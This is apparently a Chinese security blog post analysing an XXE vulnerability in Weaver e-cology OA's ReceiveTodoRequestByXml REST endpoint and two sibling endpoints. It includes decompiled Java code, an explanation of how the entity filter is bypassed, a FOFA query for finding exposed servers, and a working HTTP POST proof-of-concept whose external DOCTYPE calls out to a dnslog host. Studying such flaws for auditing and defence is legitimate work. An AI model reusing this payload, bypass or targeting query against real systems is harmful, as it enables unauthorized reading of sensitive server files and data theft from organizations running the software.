泛微OA ReceiveTodoRequestByXml XML实体注入漏洞


简介

泛微e-cology是一款由泛微网络科技开发的协同管理平台,支持人力资源、财务、行政等多功能管理和移动办公。泛微e-cology系统接口/rest/ofs/ReceiveTodoRequestByXml、ProcessOverRequestByXml、ProcessDoneRequestByXml 存在XXE漏洞,未经的攻击者可以利用此漏洞读取系统内部敏感文件,获取敏感信息,使系统处于极不安全的状态。

FOFA 语法

app="泛微-协同商务系统"

漏洞分析

除了今天的这三个点,此前互联网已经披露 ReceiveCCRequestByXml、ReceiveRequestInfoByXml、deleteUserRequestInfoByXml、deleteRequestInfoByXml 这几个XXE漏洞点,其实漏洞成因也是一样的,这里只是简单记录下代码审计过程。

ReceiveTodoRequestByXml 实现逻辑代码如下

public class ReceiveTodoRequestByXml implements IRestService {
    private OfsTodoDataManager ofsTodoDataManager = new OfsTodoDataManager();

    public ReceiveTodoRequestByXml() {
    }

    public IRestService.RestType getType() {
        return RestType.POST;
    }

    public String getURI() {
        return "/rest/ofs/ReceiveTodoRequestByXml";
    }

    public void service(IRestRequest var1, IRestResponse var2) throws RestException {
        HttpServletRequest var3 = var1.getHttpRequest();
        Response var4 = new Response();
        String var5 = ServletUtil.getServletInputStreamContent(var3, "UTF-8");
        if (!"".equals(var5)) {
            this.ofsTodoDataManager.setClientIp(Util.getIpAddr(var3));
            String var6 = this.ofsTodoDataManager.ReceiveTodoRequestByXml(var5);
            var4.addMessage("result", var6);
        }

        var2.writeReponse(var4);
    }
}
  • 首先检查 var5 是否为空字符串。如果 var5 不为空,执行后续逻辑。
  • 调用 ofsTodoDataManager.ReceiveTodoRequestByXml(var5) 方法,将 var5(即 XML 数据)传递给 ofsTodoDataManager 进行处理。

getServletInputStreamContent 函数代码如下

public static String getServletInputStreamContent(HttpServletRequest var0, String var1) {
        StringBuffer var2 = new StringBuffer();

        try {
            ServletInputStream var3 = var0.getInputStream();
            BufferedReader var4 = new BufferedReader(new InputStreamReader(var3, var1));
            String var5 = "";

            while((var5 = var4.readLine()) != null) {
                var2.append(var5);
                var2.append("\n");
            }
        } catch (IOException var6) {
            var6.printStackTrace();
        }

        return var2.toString();
    }

如果 var5 不为 null,将 var5 追加到 var2 中,并在每行末尾添加换行符 "\n",然后返回给 var5。

ReceiveTodoRequestByXml 函数代码如下

public String ReceiveTodoRequestByXml(String var1) {
        var1 = SecurityMethodUtil.clearEntity(var1);
        Map var2 = OfsUtils.xmlToMap(var1);
        Map var3 = this.receiveCCRequestByMap(var2);
        String var4 = OfsUtils.mapToXml(var3, "ResultInfo");
        return var4;
    }

其中 SecurityMethodUtil.clearEntity 如下

public static String clearEntity(String var0) {
        if (var0 != null && !"".equals(var0)) {
            return var0.toLowerCase().indexOf("entity") == -1 ? var0 : var0.replaceAll("(?i)\\<\\!entity ", "*");
        } else {
            return var0;
        }
    }

主要作用是清除字符串中所有不区分大小写的 <!ENTITY 声明,将其替换为 *,如果字符串为空或为 null,则直接返回原字符串。因此我们的payload里不能出现 <!ENTITY 声明。

xmlToMap 函数如下

public static Map<String, String> xmlToMap(String var0) {
        HashMap var1 = new HashMap();

        try {
            Document var2 = DocumentHelper.parseText(var0);
            if (var2 == null) {
                return var1;
            }

            Element var3 = var2.getRootElement();
            Iterator var4 = var3.elementIterator();

            while(var4.hasNext()) {
                Element var5 = (Element)var4.next();
                List var6 = var5.elements();
                var1.put(var5.getName(), var5.getText());
            }
        } catch (Exception var7) {
            var7.printStackTrace();
        }

        return var1;
    }

通过 org.dom4j.DocumentHelper.parseText 解析XML,从而造成XXE漏洞。

漏洞复现

POST /rest/ofs/ReceiveTodoRequestByXml HTTP/1.1
Host: fanwei.mrxn.net
Content-Type: application/xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE syscode SYSTEM "http://ReceiveTodoRequestByXml.xxxx.dnslog.pw/xxe">
<M><syscode>&send;</syscode></M>

Dnslog 平台成功收到了响应

另外两个点的漏洞 ProcessOverRequestByXml、ProcessDoneRequestByXml 是一样的利用方式,就不重复测试了。


手机扫码阅读

万户OA public/iSignatureHTML.jsp/Service.jsp SQL注入漏洞

蓝凌智慧协同平台 fl_define_edit.aspx SQL注入漏洞

评 论